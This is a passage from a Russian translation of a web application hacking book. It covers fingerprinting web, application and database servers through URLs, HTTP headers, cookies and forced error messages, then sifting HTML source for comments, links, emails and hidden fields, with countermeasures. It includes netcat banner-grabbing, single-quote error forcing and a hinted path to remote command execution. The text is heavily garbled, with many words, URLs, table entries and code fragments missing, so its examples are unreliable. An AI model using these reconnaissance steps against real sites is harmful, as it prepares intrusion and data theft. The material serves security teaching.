вый ODBC драйвер. Какие либо изменения в программном коде не требуются.
Стандарт ODBC поддерживается большинством современных операционных сис
тем, в том числе и Microsoft Windows. Теперь компонент управления ODBC отвечает
за хранение данных о соединении с базой данных
и аутентификацию пользователей, что устраняет
необходимость хранить данные о пользователе и
соединении в коде приложения. Эта информация
содержится в логическом имени источника дан
ных DSN (data source name), к которому и обра
щается приложение.
На рис. 6.7 показано имя DSN sqlserverl, ко
торое создано в результате подключения к серве
ру баз данных SQL Server по адресу 192.168.7.246.
Рис.
Конфигурация DSN
DIM»
No No
ИспользованиеJDBC
Стандарт JDBC (Java Database Connectivity) определяет контур Java приложений,
аналогичный ODBC. Единственное различие состоит в том, что
интегрирован с
контуром J2EE и используется исключительно для Web приложений, написанных на
Java. Наиболее известные серверы Java приложений BEA
IBM WebSphere,
Allaire
Tomcat и Resin используют JDBC для связи с базами данных.
На рис. 6.8 показано окно настройки источника данных JDBC для доступа к базе
данных MySQL с помощью сервера Java приложений Allaire JRun 3.0.
Рис. 6.8.
JDBC
Специализированные серверы
Web приложений
До сих пор речь шла об универсальных моделях Web систем, используемых для разра
ботки Web приложений любого типа. Но в последнее время были разработаны специали
зированные серверы Web приложений, которые призваны решать специфические задачи.
152
Часть II. Секреты URL
Если Web приложения ранжировать по степени активности конечных пользовате
лей, то узлы свежих новостей окажутся в конце списка, а электронные банковские
системы --- в начале.
Поэтому производители программного обеспечения разработали специализирован
ные серверы приложений, которые должны удовлетворить многообразие потребно
стей. Например, сервер
от компании Vignette предназначен для управления
содержимым и доставкой информации в Web, тогда как серверы
и
Net.Data от IBM полезны для интерактивных приложений, связанных с финансовыми
транзакциями, в частности
Рассмотрим, как можно извлечь информацию о Web приложении, анализируя
URL адреса. Этим завершается рассмотрение вопросов, начатое в главе 5.
Идентификация компонентов
Web приложенияс помощью
URL адресов
Адреса URL отражают различные функциональные свойства Web приложений.
Напомним, что URL адрес является первичным средством взаимодействия броузера и
Web системы. Использование разных компонентов в Web приложениях требует нали
чия характерных фрагментов в URL адресах. Некоторые люди настолько наблюда
тельны, что в состоянии определить, из какой части света приехал человек, основыва
ясь лишь на его внешности, языке, на котором он говорит, акценте и манерах пове
дения. Скажем, отличить жителя Нью Йорка от коренного жителя Лондона
достаточно просто. В то же время, чтобы отличить жителя Нью Йорка от жителя
Нью Джерси, придется проявить гораздо больше наблюдательности.
Анализ URL адресов Web приложений тоже требует определенных навыков и
опыта. Чем больше систем вы анализируете, тем лучшие навыки приобретаете. Техно
логия идентификации URL адресов --- это искусство, которое может стать ценным
средством для Web хакеров.
Основы идентификации
Первый этап идентификации Web приложения состоит в анализе HTTP заголовка,
возвращаемого Web сервером. В большинстве случаев по нему можно определить ис
пользуемый внешний Web сервер. Для
HTTP заголовка необходимо вос
пользоваться специальной утилитой, например Netcat. Заголовок сервера Apache вы
глядит примерно так:
I www.example.com 80
GET /
HTTP/1.1 200 OK
Date:
04 Feb 2001 19:29:37 GMT
Server: Apache/1.3.6 (Unix)
Set Cookie:
expires=Tue, 04 Feb 02 19:29:37 GMT
Last Modified: Mon, 10 Dec 2001 04:48:34 GMT
ETag:
bytes
Content Length: 495
Connection: close
Content Type: text/html
Глава 6. За кулисами Web сервера
153
Поле Server HTTP заголовка показывает, что используется сервер Apache 1.3.6, ко
торый поддерживает протокол SSL, модуль mod_perl и язык программирования
PHP 4.O. Но не все Web серверы так щедры на информацию об используемых техно
логиях. Например, сервер Apache можно настроить таким образом, что в HTTP
заголовке он будет выдавать только необходимый минимум информации.
nc www.example.com 80
GET /
HTTP/1.1 200 OK
Date: Mon, 04 Feb 2001 19:29:37 GHT
Server:
(Unix)
Connection: close
Content Type: text/html
В этом случае ничего нельзя сказать о языках сценариев, которые используются в
приложении. Для более точной идентификации необходимо использовать более тон
кие отличительные особенности.
Поэтому следующим этапом усовершенствования знаний по методам идентифика
ции является анализ различных элементов URL адресов. В главе 5 была описана
структура URL адреса и роль каждого его элемента. Отправным пунктом в идентифи
кации будет расширение запрашиваемого файла, по которому можно определить
платформу сервера.
В приведенной ниже таблице представлены применяемые в URL адресах расши
рения файлов и соответствующие им платформы.
Расширение
Используемая технология Платформа сервера
Perl CGI
Любая, но обычно Unix
Active Server Pages
Сервер Microsoft IIS
.aspx
ASP+
Сервер Microsoft
PHP
Любая, но обычно Web сервер Apache
.cf
ColdFusion
Любая, но обычно сервер Microsoft IIS
Lotus Domino
Сервер Lotus Domino
Поскольку Web серверы допускают очень гибкую настройку конфигурационных
параметров, то тип файла можно скрыть, не давая возможности узнать информацию
об используемых технологиях.
В этом случае для идентификации технологии потребуется настоящее искусство.
Например, расширение файла . js p не несет никакой информации о внешнем Web
сервере или Java приложении. Дело в том, что все известные серверы Java
приложений соответствуют стандарту J2EE. Для более точного определения исполь
зуемых технологий необходимо тщательно проанализировать URL адреса, HTTP
заголовки, а иногда даже HTML код. Для лучшего понимания рассмотрим несколь
ко примеров.
Примеры
URL адрес:
?0pen
Расширение файла
указывает на то, что используется сервер Lotus Domino.
Заголовок HTTP подтверждает эту гипотезу.
154
II. Секреты URL
nc
80
GET / HTTP/1.0
HTTP/1.1 302 Found
Server:
Date:
04 Feb 2001 17:52:59 GMT
Location:
Connection: close
Content Type: text/html
305
URL адрес:
Заголовок HTTP запроса указывает на использование сервера
Однако
знаем, что сервер IIS 4.0 сам не поддерживает обработку файлов
которые, вообще говоря, являются HTML страницами Java; т.е. совместно с севе
ром IIS 4.0 функционирует сервер приложения. Строка ;
указывает
на использование сервера приложений ATG Dynamo Application Server, с помощью
которого в данном случае обрабатываются HTML страницы Java и выполняются
Java. Официальный Web узел компании ATG имеет схожий URL адрес:
URL адрес:
http://www3.example.com/cgi bin/ncommerce3/ExecMacro/
webstore/home.d2w/report
Этот URL адрес типичен для платформы электронной коммерции Data от
IBM. Строки
и ExecMacro являются ключевыми для определения используе
мых технологий. Строка
указывает на использование макросов, написанных
на языке сценариев сервера Net. Data, a report --- на один из способов реализации
этих макросов. Базовый внешний Web сервер определяется из HTTP заголовка.
URL адрес:
3886513130244820/167838525/6/7001/7001/7002/7002/7001/ 1
Этот пример особенный. Обрабатываемый файл имеет расширение . jsp, а базовый
сервер Netscape Enterprise 4.1 можно определить из HTTP заголовка. Однако вид URL
адреса не типичен для сервера Netscape Enterprise. Он больше похож на адрес, исполь
зуемый сервером BEA
идентификатор сеанса которого имеет следующий вид:
Первая часть рассматриваемого идентификатора сеанса является буквенно
цифровой строкой, за которой следует символ | и несколько чисел, разделенных сим
волом /. Числа 7001 и 7002 соответствуют TCP портам HTTP и SSL, которые исполь
зуются сервером WebLogic для внутреннего взаимодействия с внешним Web сервером.
Если сервер WebLogic использует порты, отличные от 7001 и 7002, то они по разному
отображаются в URL адресах, сгенерированных этим Web узлом.
Глава 6. За кулисами
155
URL адрес:
Этот URL адрес тоже особенный. Он заканчивается группой чисел, разделенных
запятыми, а файл имеет расширение
Эта HTML страница не является статиче
ской, поскольку в процессе путешествия по Web узлу эти числа будут изменяться, а
вид URL адреса останется неизменным. Это свидетельствует о том, что содержимое
страниц формируется динамически, а изменяющиеся числа соответствуют различным
коллекциям и категориям содержимого. Таким образом, представленный в примере
URL адрес типичен для сервера Vignette Story Server, который обычно взаимодейству
ет с такими внешними Web серверами, как Netscape Enterprise и
IIS.
Если просмотреть HTML код, формируемый сервером Vignette Story Sever, можно
обнаружить HTML комментарий, по которому легко определить вид и версию ис
пользуемого сервера:
<! Vignette V/5 Sat feb 02 05:07:43 2001 >
Официальный Web узел компании Vignette также использует сервер Vignette Story
Server, а его URL адрес подобенуказанномув примере: http://www.vignette.com/CDA/
Дополнительные примеры
Предыдущие примеры дают некоторое представление о методах определения Web
сервера и используемых в приложении технологиях. Знакомясь с различными серве
рами Web приложений, вы научитесь выделять URL адреса, формируемые этими сер
верами. Однако в большинстве случаев методы идентификации не так просты, как в
предыдущих примерах. Рассмотрим следующие URL адреса:
•
•
sp
•
•
Первый URL адрес кажется простым и указывает на использование сервера
Apache и языка программирования Perl. Но в данном случае для точного определе
ния признаков приложения наряду с анализом URL адресов необходимо использо
вать и другие средства. Начнем с
HTTP заголовков каждого из представ
ленных запросов.
URL адрес:
•
vww6.example.com 80
GET
HTTP/1.0
.
HTTP/1.1 200 OK
Server:
Date:
04 Feb 2001 19:19:58 GMT
Content Length:
156
Часть II. Секреты URL
Content Type: text/html
Set Cookie:
path=/
private
При внимательном изучении HTTP заголовка можно заметить признаки, ука
на некорректность исходного предположения об использовании серве
ра Apache и языка программирования Perl. Действительно, поле co okie, возвра
щаемое данным сервером, указывает на сеанс Active Server Pages с именем
ASPSESSIONIDGGQGGCVC и значением
Сервер Apache никогда не
возвращает такое значение cookie. Из этого следует, что использование сервера IIS
было скрыто простым изменением значения поля Server на
и преобразо
ванием расширения
в .cgi.
Таким образом, поле cookie представляет собой дополнительное средство для
идентификации Web сервера и сервера приложения!
URL адрес:
Этот URL адрес является слишком общим для идентификации сервера Java
приложения, поэтому снова прибегнем к помощи
пс
80
GET /
HTTP/1.0
HTTP/1.1 200 OK
Server: Netscape
SP2
Date:
04 Feb 2001 19:26:16 GMT
Pragma: nocacbe
Content Type: text/html
Expires: 0
Set Cookie: WebLogicSes
002/7002/7001/ 1;
Connection: close
И в этом случае помогут данные cookie. Строка
указывает на ис
пользование сервера
WebLogic, который взаимодействует с сервером Netscape
Enterprise. Структура данных сеанса cookie сервера WebLogic аналогична структуре
идентификатора сеанса WebLogic, который рассматривался в предыдущих примерах.
В приведенной ниже таблице указаны известные типы данных cookie и соответст
вующие им серверы.
Сервер
Cookie
Apache
IIS
ATG Dynamo
ColdFusion CFID=573208,
Что касается примеров с адресами
и
то по
HTTP заголовку об используемом сервере нельзя сказать ничего. Поэтому необходи
мо изыскивать другие средства "давления" на серверы приложений, чтобы заставить
их "раскрыться".
Глава 6. За кулисами
157
Дополнительные методы
идентификации
Если HTTP заголовка, расширения файла, вида URL адреса или данных cookie для
идентификации технологии Web сервера недостаточно, остается еще один способ: не
обходимо заставить приложение сгенерировать ошибку. При этом сообщение об
ошибке может содержать не только информацию о сервере, но и о преобразовании
физических адресов, ссылки на файлы и каталоги и даже SQL запросы.
Чтобы вынудить приложение выдать сообщение об ошибке, необходимо использо
вать один следующих методов:
• усечение URL адресов;
• запрос на несуществующий файл;
• изменение параметров запроса.
В двух приведенных далее примерах постараемся выяснить, каким образом можно
использовать сообщения об ошибках для определения типа сервера приложения.
Примеры
http://www8.example.com/webapp/wcs/stores/servlet/Displa
Вместо полного URL адреса передадим усеченный:
wcs/stor e s/. Выдаваемое сообщение об ошибке показано на рис. 6.9.
Из него можно извлечь информацию о сервере, который используется по адресу
Это WebSphere от компании IBM.
URL адрес:
В этом случае внешним сервером является Apache. Разные сочетания усечений
URL адресов не приводят к желаемому результату. В окне броузера выводится лишь
строка ошибки 404 File not found, которая ни о чем не говорит. Такая ошибка появ
ляется в тех случаях, когда внешний Web сервер не может найти указанный путь.
Следовательно, необходимо передать такой
чтобы ошибка была сгенери
рована сервером приложения, а не самим внешним Web сервером.
Давайте вспомним способы взаимодействия сервера приложений с внешним сер
вером, которые были рассмотрены в данной главе. Анализируя предложенный при
мер, приходим к выводу о том, что внешний Web сервер используется для преобразо
вания URL адресов и перенаправления файлов с расширением . jsp для их последую
щей обработки. Другими словами, если передать запрос на несуществующий
158
II.
URL
скажем х. jsp, то можно обойти внешний Web сервер, поскольку все файлы . jsp обра
батываются сервером приложений. Получив такой запрос, сервер приложения вьщаст
сообщение об ошибке (рис. 6.10).
found:
Stack
File not found:
at
at
at
at
engine
at
Code» at
Code» at
at
V
6.9. Сообщение об ошибке, выдаваемое в примере с адресом mw8.example.com
Request
jsp
(No such ±11
tt
provider
1
>
at
Puc. 6.10. Сообщение об ошибке, выдаваемое в примере с адресом
Глава 6. За кулисами Web сервера
159
Как видите, этот прием сработал! Теперь у нас есть сообщение, сгенерированное
сервером баз данных Oracle, взаимодействующим с сервером Apache. Это сообщение
также содержит путь к каталогу
где находятся
Идентификация серверов баз данных
Идентификация баз данных требует более серьезных навыков, нежели идентифи
кация внешних серверов и серверов приложений, поскольку последние взаимодейст
вуют через протокол HTTP и определяются посредством его элементов: URL адресов,
HTTP заголовков и данных cookie.
С серверами баз данных все обстоит иначе. Дело в том,
они взаимодействуют
с внутренними серверами с помощью языка SQL и позволяют определить лишь зна
чения полей входных форм и параметры URL. Поэтому единственный способ иден
тификации серверов баз данных посредством URL заключается в генерировании
ошибок сервером приложения и последующем их выводе в окно броузера.
Рассмотрим два примера URL адресов.
•
•
В первом URL адресе указан PHP файл
который, как свидетельствует
параметр ID=27, взаимодействует с базой данных. Второй же адрес обрабатывается
приложением ColdFusion и также выполняет запрос к базе данных.
Для того чтобы заставить сервер баз данных выдать ошибку, необходимо изменить
значения параметров в рассмотренных запросах. В первом URL адресе заменим зна
чение 27 параметра ID нечисловым значением. Второй URL адрес предварительно
усечем, а затем заменим значение 3 символом одинарной кавычки
Предоставим читателю самому разобраться с тем, какой вред может принести ин
формация, содержащаяся в этих окнах броузеров. Подсказка: сообщение об ошибке,
выдаваемое сервером ColdFusion SQL Server, содержит достаточно информации для
формирования запроса, который будет удаленно выполнять команды на сервере баз
данных с правами администратора.
Контрмеры
В этой главе были представлены методы, которые обычно используются взломщи
ками для получения полной информации о Web приложении. Идентификация ис
пользуемых технологий играет важную роль для
в Web, поскольку позволяет
подобрать подходящие средства для взлома Web приложения.
Возможно, остановить хакера будет не так уж легко. Однако при этом всегда не
обходимо следовать двум эмпирическим правилам, в основе которых лежит прин
цип минимального уровня привилегий.
Правило Минимизация информации
в HTTP заголовке
Большинство Web серверов настроены таким образом, что возвращают минимум
информации в HTTP заголовке. При этом в HTTP заголовке не должна содержаться
информация о серверах приложения, которые используются как надстройки.
160
Часть II. Секреты URL
Правило 2. Предотвращение отправки
броузеру сообщений об ошибке
Когда Web приложение переходит из стадии разработки в стадию коммерческого
использования, необходимо тщательно проверить обработку исключений и выдавае
мые сообщения. Подробные сообщения об ошибке следует хранить во внутреннем
системном журнале
на Web сервере.
необходимо отправлять только
краткую информацию об ошибке. И опять же, большинство Web серверов допускают
подобную конфигурацию.
Многие клиенты утверждают, что их удовлетворяет уровень зашиты приложений,
который обеспечивается заменой идентификатора сервера в HTTP заголовке и изме
нением расширений используемых файлов. Они полагают, что таким образом смогут
сбить с толку взломщиков и предотвратить атаку. Однако такая защита путем
"сокрытия" ненадежна. В лучшем случае она защитит от таких утилит поиска изъянов
Web приложений, как Whisker. Но она не остановит опытных Web хакеров.
Резюме
Понимание того, каким образом взаимодействуют между собой различные Web
технологии, очень важно при разработке и внедрении Web приложений. В этой главе
были продемонстрированы методы, которыми пользуются взломщики для получения
информации о том, что находится "за кулисами" внешнего сервера. Кроме того, здесь
кратко упоминались некоторые основные контрмеры, которыми следует руководство
ваться при создании Web приложений.
Глава 6. За кулисами
161
ГЛАВА 7
Читая между строк
Конечные понятия позволяют осознать бесконечность.
Теодор
американский поэт
Введение
То, что отображается в броузере, не обязательно существует на самом деле. Когда
вы смотрите на Web страницу, то видите только интерпретацию броузера и его пред
ставление полученных данных. Большая часть информации скрыта от просмотра. Для
обнаружения этих невидимых сокровищ необходимо оторваться от обычного про
смотра страниц и приблизиться к подлинному пониманию практически неограничен
ных возможностей Web технологий.
Код обычной Web страницы может содержать HTML комментарии, исходный код
клиентских сценариев, ключевые слова, скрытые параметры форм, адреса электрон
ной почты, ссылки на другие страницы и узлы, а также многое другое. Количество
информации на странице оказывает существенное влияние на безопасность: чем
больше информации известно хакеру о Web узле, тем проще его атаковать.
В этой главе рассматриваются различные типы информации, которую можно по
лучить из исходного кода HTML, а также приемы, используемые для ее извлечения.
Просмотр исходного кода HTML и поиск в нем ценной информации --- кропотливая
задача. В коде можно обнаружить лишь
интересных фрагментов, однако
зачастую именно они оказываются недостающими элементами общей картины, фор
мирование которой так необходимо для успешной реализации Web атаки. Кроме того,
здесь подробно описывается процесс просеивания исходного кода (source sifting), а так
же способы поиска ценной информации.
В этой главе рассматриваются следующие важные вопросы:
• утечка информации через код HTML;
• броузеры и просмотр кода HTML;
• предмет поиска;
• автоматизированные приемы просеивания исходного кода.
Многие путают просеивание исходного кода (ресурсов) с его получением (раскры
тием). Атаки, направленные на раскрытие исходного кода, связаны с обманом Web
сервера и получением от него исходного кода сценария или приложения без какого
либо его анализа или выполнения. Например, если такая атака направлена на файл
ASP, то взломщик может просмотреть соответствующий ASP код (т.е. код, содержа
щийся в исходном сценарии) в неизмененном виде. При этом никакого просеивания
исходного кода не выполняется. Однако в том случае, если код HTML генерируется
в приложении динамически с использованием сценария, то при выборе в броузере
команды View Source исходный код приложения или сценария не отображается. Вме
сто этого можно увидеть лишь код HTML, который был сгенерирован сценарием.
Утечка информации через код HTML
Это очень сложный вопрос. Никогда нельзя точно сказать, представляет ли угрозу
какая либо определенная информация, содержащаяся в HTML коде. Взломщик все
гда стремится сформировать для себя полную картину, поскольку не может опреде
лить, какая часть информации отсутствует, вплоть до того момента, пока практически
полностью не соберет всю головоломку. Информация, получаемая с помощью про
сеивания исходного кода, может казаться неважной до тех пор, пока другие состав
ляющие общей картины не займут свои места. Атака на узел acme art.com, которая об
суждалась в разделе "Случай из жизни" в начале данной части, оказалась успешной
Глава 7. Читая между строк
только благодаря тому, что хакеру удалось получить всю необходимую информацию
из комментариев HTML и скрытых полей форм.
В этой главе обсуждаются стандартные источники утечки информации и меры, ко
торые позволяют предотвратить связанную с этим опасность. Прежде чем приступить
к изучению методов сбора ценной информации, давайте рассмотрим, как использо
вать необходимые для выполнения этих задач средства. В большинстве случаев основ
ным таким инструментом является броузер.
Что скрывают броузеры
Броузер преобразует HTML код в визуальные интерактивные элементы, предна
значенные для отображения информации на экране и взаимодействия с пользовате
лем. Самой важной частью каждого броузера является механизм интерпретации ко
да HTML. Как и для любого другого компьютерного языка, для HTML определена
формальная грамматика описания элементов и правила их визуализации. Встроен
ный в броузер HTML интерпретатор выделяет из кода HTML отдельные элементы
и отображает их на экране. Однако не все элементы HTML имеют визуальное пред
ставление. Некоторые из
например комментарии, предназначены для докумен
тирования и повышения ясности кода. Другие элементы используются при выпол
нении внутренних операций, например при передаче параметров между формами
или работе с данными cookie. Для более серьезного знакомства с элементами HTML
обращайтесь к спецификации HTML 4.0, которую можно найти по адресу: ht t p ://
Различные элементы HTML позволяют получить разнообразнейшую информа
цию. И этого нельзя не учитывать. Популярные Web броузеры, такие, как Netscape
Navigator, Internet Explorer и Opera, позволяют просматривать исходный код HTML.
На рис.
показана Web страница, на которой содержатся различные элементы.
На этой странице можно увидеть лишь некоторые элементы HTML и форму, со
стоящую из одного текстового поля. Попробуем найти элементы, не отображенные
броузером.
Netscape Navigator --- команда
Source
Для просмотра исходного HTML кода страницы, отображаемой в Netscape Navigator,
выберите команду
Source, нажмите комбинацию клавиш <CTRL+U> или
щелкните на странице правой кнопкой мыши, а затем выберите из контекстного ме
ню команду View Source или View Frame Source, в зависимости от того, в какой облас
ти страницы был выполнен щелчок. В результате откроется другое окно с исходным
HTML кодом страницы (рис. 7.2).
Вот и все! В исходном коде можно сразу же заметить элементы, которые не бы
ли отображены в окне броузера. Первым таким элементом является HTML
коментарий, в котором указано время последней модификации Web страницы и ад
рес электронной почты ее разработчика. Ниже можно заметить также дескрипторы
<МЕТА>, в которых кратко описывается содержимое страницы. Продолжая анализ ис
ходного кода, можно легко найти небольшую процедуру на языке JavaScript, пред
назначенную для генерации данных cookie при каждом посещении этой страницы.
И наконец, в исходном коде содержится скрытое поле HTML формы, для которого
задано значение cant see me. Без просмотра исходного кода HTML вся эта инфор
мация осталась бы неизвестной.
164
Часть II. Секреты
What you see...
is not what
srts
a
Элементы HTML, отображенные броузером
Internet Explorer --- команда
В Internet Explorer (IE) исходный HTML код можно просмотреть с помощью ко
манды
или с использованием команды View Source контекстного меню.
7.2. Исходный код HTML в Netscape
Глава 7. Читая между строк
165
Броузер IE копирует исходный код HTML во временный файл и открывает его в
блокноте Windows, а не в своем собственном окне. На рис. 7.3 показан тот же исход
ный код, загруженный IE в блокнот. Это очень удобно для сохранения исходного ко
да в виде обычного текста для дальнейшего анализа.
Другие броузеры, в том числе Opera, также позволяют отобразить исходный
HTML код текущей страницы. Именно с его просмотра стоит начинать анализ Web
приложений для обеспечения требуемой защиты.
Где искать информацию
Теперь, после рассмотрения методов сбора информации, нужно определить, какие
ее фрагменты наиболее ценны для хакера. Обычно взломщик просматривает следую
щие элементы:
• комментарии HTML;
• внутренние и внешние ссылки;
• адреса электронной почты и имена пользователей;
• ключевые слова и дескрипторы
• скрытые поля;
• клиентские сценарии.
Комментарии HTML
Комментарий HTML определяется как блок текста, размещенный между дескрип
торами
и >. При отображении страницы весь этот блок текста броузером игно
рируется. Таким образом, комментарии --- это "забытая" часть исходного кода, кото
рую можно увидеть при выборе в броузере команды View Source.
Разработчики и авторы Web страниц используют комментарии для размещения в
HTML коде информации о себе и аннотаций. Практически каждый программист
убежден, что добавлять комментарии в исходный код крайне важно.
Традиционно при создании исполняемого двоичного кода программы коммента
рии автоматически убираются компилятором. Следовательно, комментарии никогда
не были причиной утечки секретной информации, а также не способствовали ее рас
крытию. При использовании HTML комментарии передаются Web броузеру.
Что взломщик может почерпнуть из комментариев HTML? Как правило, в них
можно найти следующее:
• историю внесения изменений;
• подробности о разработчике или авторе;
• описание связей с другими частями Web приложения;
• заметки;
• комментарии, автоматически вставляемые Web приложениями;
• старый закомментированный код.
Вполне закономерен вопрос: "Что из перечисленного можно действительно найти
на реальных узлах?" В поисках ответа на него можно выполнить самостоятельное ис
следование. Приведенные в этой книге примеры несколько изменены для обеспече
ния безопасности Web узлов и Web серверов, с которых они были получены.
166
Часть II. Секреты URL
An
of
the
that you
Last
by:
- 9th
2002
you
not
browser
<SCRIPT var date • new
-
date .
();
</SCRIPT>
a
TYPE HIDDEN
see
Рис. 7.З. Исходный код, предоставляемый броузером Internet Explorer
при выборе команды View Source
История внесения изменений
При внесении изменений разработчики Web приложений часто оставляют в ис
ходном коде подробную информацию обо всех модификациях. Историю модифика
ции этих файлов разработчики склонны размещать в статических HTML файлах,
особенно если в их состав входит главная Web страница и другие точки входа в
приложения.
Подробности о разработчике или авторе
Зачастую разработчики или авторы Web страниц оставляют подробные данные о
себе в комментариях HTML. Это является общепринятой практикой, если над одним
ресурсом или файлом работают разные разработчики.
Вот типичный пример комментария разработчика, содержащегося в коде HTML:
Смитом 6 марта 13:13:25
<BASE
Связь с другими частями Web приложений
В состав большинства Web приложений входит много отдельных файлов и сцена
риев, связанных
с другом. В большинстве случаев в HTML комментариях содер
жится информация о взаимосвязи этих файлов и подробные данные о функциональ
ности приложений, например:
Вызывается
Глава 7. Читая между строк
167
Заметки
В комментариях HTML разработчики размещают описание некоторых важных
аспектов использования, архитектуры и т.д., имеющее отношение к определенному
ресурсу. Данные такого рода чрезвычайно полезны при сборе информации о функ
циональности приложения.
Некоторые заметки могут быть довольно безобидными, например:
Таблица главного
начало
<table
в этой строке задаются расстояния между
<tr><td
блок
<td
блох
Однако в других комментариях может содержаться конфиденциальная информация.
перед внесением
Убедитесь, что обновлен файл
<!
>
ВСТАВЬТЕ
<TABLE
Этим сказано все! Просмотрев такой код, взломщик может сразу же переключиться в
окно броузера, сгенерировать запрос по адресу
cart.conf
и попробовать получить конфигурационный файл электронной торговой тележки.
Вот еще один пример утечки данных из комментария:
кода заголовка
<table cellspacing=0 cellpadding=0 border=0>
<tr>
<td width=225> </td>
<B><FONT
Оставить 25t на проживание.
<!
</td>
</tr>
</table>
apt tab
Комментарии серверов Web приложений
Некоторые серверы Web приложений и средства создания Web документов встав
ляют в генерируемый HTML код собственные комментарии. Эти комментарии также
могут предоставлять конфиденциальную информацию. При их внимательном анализе
можно определить, какие технологии используются на сервере и с помощью каких
средств была создана Web страница. Ниже приведен пример такого комментария.
ImageReady Preload Script
>
<!
Vignette StoryServer 4 Sun Jan 13 00:04:01
>
Resolution
File
Lotus Domino (Release 5.0.9
16, 2001 on
168
Часть II. Секреты URL
Эти компоненты были сгенерированы приложениями Adobe ImageReady, Vignette
Story Server, Ncompass (сейчас Microsoft Content Management Server) и Lotus Domino
Server соответственно.
Старый закомментированный код
Поскольку Web страницы часто подвергаются изменениям, разработчики склонны
создавать копию кода HTML, комментировать старый код и добавлять новые фраг
менты кода с сохранением старого формата. Зачастую в закомментированной части
остается некоторая важная информация, например:
<!
<Р><А
Host icons database </A>
Эта
требуется для запуска приложения X. Это
версия базы
<А
Если вы хотите добавить свою
отошлите ее администраторам picons для внесения
в следующую версию
X.
Обратите внимание, что автор приведенного фрагмента кода фактически сообщил
о существовании на сервере пользовательской учетной записи xy z zy .
При краже кредитной карточки на узле ww w. a c me art. com хакер получил доступ к
пользовательским рабочим каталогам
и
c o m/~ ajq/ и завладел исходным кодом
используемых на Web узле
Как было продемонстрировано в предыдущем фрагменте, при утечке
информации возможен именно такой исход.
Внутренние и внешние гиперссылки
Просмотр содержащихся в исходном HTML коде гиперссылок на другие Web
ресурсы --- еще одна многообещающая область, из которой можно почерпнуть ценную
информацию. Изучение ссылок позволяет определить, Из каких частей состоят при
ложения. После проведения подобного анализа можно выделить отдельные части
приложения, сгруппировать их по функциональным категориям и попробовать разо
браться с внутренними потоками информации. Достаточно найти лишь единственную
ссылку, и представление об информационных потоках, циркулирующих между раз
личными частями приложения, становится гораздо понятнее. Вся подобная информа
ция позволит выявить потенциальные уязвимые места.
В языке HTML гиперссылки задаются с использованием дескрипторов
Гиперссылки могут связывать между собой ресурсы одного и
того же Web узла или обеспечивать связь с внешними Web узлами. Гиперссылки можно
найти также в дескрипторе
Дескриптор
позволяет задать ре
сурс, который будет запущен при передаче на сервер данных HTML формы. Для поиска
гиперссылок проще всего выполнить поиск в коде HTML строк HREF или FORM.
При просмотре гиперссылок нужно различать внутренние и внешние связи. Это не
позволит выйти за границы исследуемого приложения. Приведенный ниже фрагмент
HTML кода взят из интерактивного приложения розничной торговли, используемого
на Web узле www.acmetradeonline.com .
<А
Щелкните здесь для входа в торговую систему </А>
<Р> Новый пользователь? Щелкните <А
для создания новой учет
ной записи.
Глава 7. Читая между строк
TYPE=TEXT SIZE=5>
Первые две гиперссылки <А
jsp> и <А
jsp>
являются внутренними. Они преобразуются к виду http://www.acme art.com/login/
и
соответственно. Третья гипер
ссылка, которая используется при передаче данных формы, --- это внешняя ссылка,
указывающая на Web узел http://quote s . a c m e stock quotes.co m/cgi bin/stockquote .pl.
Адреса электронной почты
и имена пользователей
Довольно часто страницы HTML содержат ссылки на адреса электронной почты.
Дескриптор <А
применяется для создания ссылки, исполь
зуемой при отправке почтового сообщения. Обычно при щелчке на такой ссылке от
крывается окно клиентской почтовой программы, в котором можно создать почтовое
сообщение, а затем отправить его получателю, заданному с использованием гипер
ссылки mailto.
Электронные почтовые адреса могут быть также частью HTML комментариев и
использоваться для идентификации человека, ответственного за поддержку опреде
ленной страницы или ее части. Электронные адреса извлечь из кода HTML очень
просто: для этого в нем достаточно найти все символы
Спэм
Масса ненужных электронных писем, невостребованная коммерческая реклама,
"макулатурная" почта или спэм (spam) --- как бы это не называлось --- приводит к за
грузке каналов связи и крайне раздражает пользователей Internet. Бывают дни, когда
количество ненужных сообщений, поступивших в компанию Foundstone, равно числу
сообщений от легитимных пользователей.
Совсем недавно подобная деятельность была прибыльным делом для некоторых
компаний, занимающихся поддержкой серверов массовой рассылки рекламных объ
явлений мелких предпринимателей. На рынке появились компакт диски с миллиона
ми собранных вместе и отсортированных электронных адресов. Такие списки адресов
и каталогов формируются с использованием Web приложений --- программ, специ
ально разработанных для сбора электронных адресов на Web страницах. Работа таких
программ основана на принципе, который уже рассматривался выше. Он заключается
в загрузке исходного кода страницы и извлечении из него адресов на основе поиска
символа После этого программы по гиперссылке перемещаются на другую Web
страницу и повторяют тот же процесс с самого начала.
Ключевые слова и дескрипторы <meta>
HTML коде Web страницы содержится два раздела --- заголовок и тело. В теле
содержится информация, которая отображается броузером, а в заголовке --- ее описа
ние. Такую информацию, как название документа, краткое описание его содержания,
170
Часть II. Секреты URL
имя автора, дата создания и т.д., можно найти внутри заголовка документа HTML в
дескрипторе <meta>.
Хорошим примером информации, размещаемой в дескрипторах <meta>, может по
служить следующий фрагмент кода HTML, взятый с Web узла компании CNN:
<html>
10 лучших средств контроля
21 сентября, 1998</title>
charset=iso 8859 l">
these tools for ridding your
of
<meta
unsolicited e mail, commercial e mail, junk e mail,
<meta
<meta
21,
<meta
</head>
В этом фрагменте кода не содержится никакой важной информации. Однако деск
рипторы
представляют собой одно из. мест, в которых можно допустить ошибку.
Скрытые поля
Скрытые поля уже кратко рассматривались в главе 3 при обсуждении HTML
форм. Для создания скрытых полей используется дескриптор
TYPE=HIDDEN
Зачастую такие поля используются разработчиками
для обмена информацией между формами и серверными программами, которые обра
батывают пользовательские данные. Поскольку протокол HTTP не поддерживает со
стояния, скрытые поля упрощают отслеживание перемещений пользователя внутри
приложения.
Некоторые разработчики допускают ошибку, передавая конфигурационные пара
метры приложения тем модулям, в которых используются скрытые поля. При атаке на
узел acme art.com хакеру удалось извлечь конфигурационный файл электронной торго
вой тележки, просмотрев скрытое поле HTML формы. Воспользовавшись следующей
строкой, взломщик сможет получить конфигурационный файл cart.ini, а со време
нем и список авторизованных кредитных карточек,
в файле
<INPUT TYPE=HIDDEN
Однако подобные ошибки приводят не только к утечке информации. Они также
позволяют хакеру изменять содержащиеся в скрытых полях данные, сохраняя локаль
ную копию HTML кода,
их, а затем передавать обратно на сервер.
Скрытые поля будут еще раз обсуждаться при рассмотрении процесса атаки
(глава 13) и воровства в электронных магазинах (глава 10). А сейчас самое время по
знакомиться с тем, как скрытые поля можно найти в коде HTML. С помощью поиска
строки
